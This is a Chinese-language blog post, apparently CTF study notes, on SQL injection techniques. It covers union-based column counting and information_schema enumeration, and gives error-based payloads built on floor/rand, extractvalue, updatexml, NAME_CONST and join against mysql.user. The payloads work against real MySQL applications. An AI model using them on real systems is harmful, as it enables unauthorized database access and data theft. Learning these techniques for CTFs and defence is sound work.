SQL注入解题技巧

3 篇文章 0 订阅

1.常规思路

************数据回显注入

1 针对可疑的注入点进行测试,测试方式根据数据库类型的不同也有所不同:

SQLi备忘录:
http://pentestmonkey.net/category/cheat-sheet/sql-injection
2 测试源语句查询字段数
使用order by 语法,确定字段数。这个语句的意思是按照第n列排序,若order by 8正常,order by 9报错的话就表示原查询语句查询结果为9列。
3 确定显示位

可以先尝试用select 1,2,3,4,5……,n#来检测,然后直接找相应数字出现的位置即可。之后的查询语句,最好用@或者NULL,类似 select @,@,@#
、select NULL,NULL,NULL# 可以保证不会因为数据类型不匹配而测试失败;

PS:union 查询需要保证前后两个语句的查询列数相同,以及数据类型相同或相似。前者可以通过order by和其它姿势探测,后者使用NULL、@来避免。
类似题型参考 ——i春秋 “百度杯”CTF比赛 九月场 SQL

4 查询数据库名
通用框架:Select group_concat(schema_name) FROM information_schema.schemata
变形:
查询表名:

select group_concat(table_name) from information_schema.tables where table_schema='xxx'

查询列名:

Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’

爆数据:

select group_concat(column_name) from table_name

************报错注入

1.group by
报错原理:
http://www.jinglingshu.org/?p=4507
语法:

and select 1 from (select count(*),concat(version),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.ExtractValue
报错原理:
http://wt7315.blog.51cto.com/10319657/1891458
语法:

and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))

3.UpdateXml
报错原理:
http://wt7315.blog.51cto.com/10319657/1891458
语法:

 and 1=(updatexml(1,concat(0x3a,(select user())),1))

4.NAME_CONST
原理:
http://www.2cto.com/article/201203/121491.html
语法:

and+1=(select+*+from+(select+NAME_CONST(PAYLOAD,1),NAME_CONST(PAYLOAD,1))+as+x)

5.join
原理:
http://www.jinglingshu.org/?p=4507
语法:

select * from(select * form mysql.user a join mysql.user b using(Host))c
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值